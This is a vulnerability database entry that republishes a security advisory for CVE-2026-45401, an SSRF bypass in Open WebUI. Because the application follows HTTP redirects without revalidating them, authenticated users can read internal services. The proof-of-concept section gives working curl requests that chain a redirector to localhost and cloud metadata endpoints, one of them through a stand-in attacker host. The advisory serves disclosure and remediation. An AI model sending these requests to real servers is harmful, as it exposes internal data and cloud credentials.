INCIDENT MAP

Browse / AI Framework and Platform Flaws / CVE-2026-45401

Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)

CVE-2026-45401 · 2026-05-14 high

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Server-side request forgery
Affected
open-webui (PyPI)
Gets past
SSRF protection
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
EPSS
0.3% chance of exploitation in 30 days

How it works, in short

Redirects from allowed public URLs are followed without rechecking the target, reaching internal addresses through fetch and image-load paths. (Our summary, written by a model. The source text is below.)

Details

Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints

Summary

The validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers.

Affected code paths

The bypass exists across multiple call sites; each independently follows redirects without re-validation.

Path 1 — sync _scrape via SafeWebBaseLoader

backend/open_webui/retrieval/web/utils.py — SafeWebBaseLoader inherits from langchain_community.document_loaders.WebBaseLoader. The parent's _scrape() calls self.session.get(url, self.requests_kwargs). requests_kwargs only sets timeout; allow_redirects=False is not** passed, so requests.Session.get() follows redirects with the default allow_redirects=True. validate_url() is invoked once on the original URL only.

Path 2 — async _fetch (aiohttp)

backend/open_webui/retrieval/web/utils.py — _fetch() previously inherited the aiohttp default allow_redirects=True. As of HEAD this path is fixed (allow_redirects=False). Listed for completeness.

Path 3 — get_content_from_url (sync requests.get)

backend/open_webui/retrieval/utils.py — response = requests.get(url, stream=True, timeout=30). No allow_redirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.

Path 4 — load_url_image (image edit)

backend/open_webui/routers/images.py — image-URL fetching helper used by the image-edit endpoint. Same pattern: validate_url() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.

Path 5 — get_image_base64_from_url (chat-completion image inlining)

backend/open_webui/utils/files.py — get_image_base64_from_url() is invoked from convert_url_images_to_base64() in backend/open_webui/utils/middleware.py on every /api/chat/completions request whose message content includes an image_url part. The shared aiohttp session pool (backend/open_webui/utils/session_pool.py) does not override the aiohttp default allow_redirects=True, and the call site itself does not pass allow_redirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.

Proof of concept

Authenticated low-privilege user; default config, no admin or special permissions required.

curl -X POST https://<target>/api/v1/retrieval/process/web \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}'

Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.

For the chat-completion path (Path 5), the same redirect is followed when an image_url content part points to an attacker-controlled redirector:

curl -X POST https://<target>/api/chat/completions \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'

Impact

Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.

Recommended fix

For every call site that follows redirects, set allow_redirects=False on the underlying HTTP client and add a per-hop validation loop using validate_url() on each Location: header.

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

References

Source: GitHub Advisory Database, used under CC BY 4.0.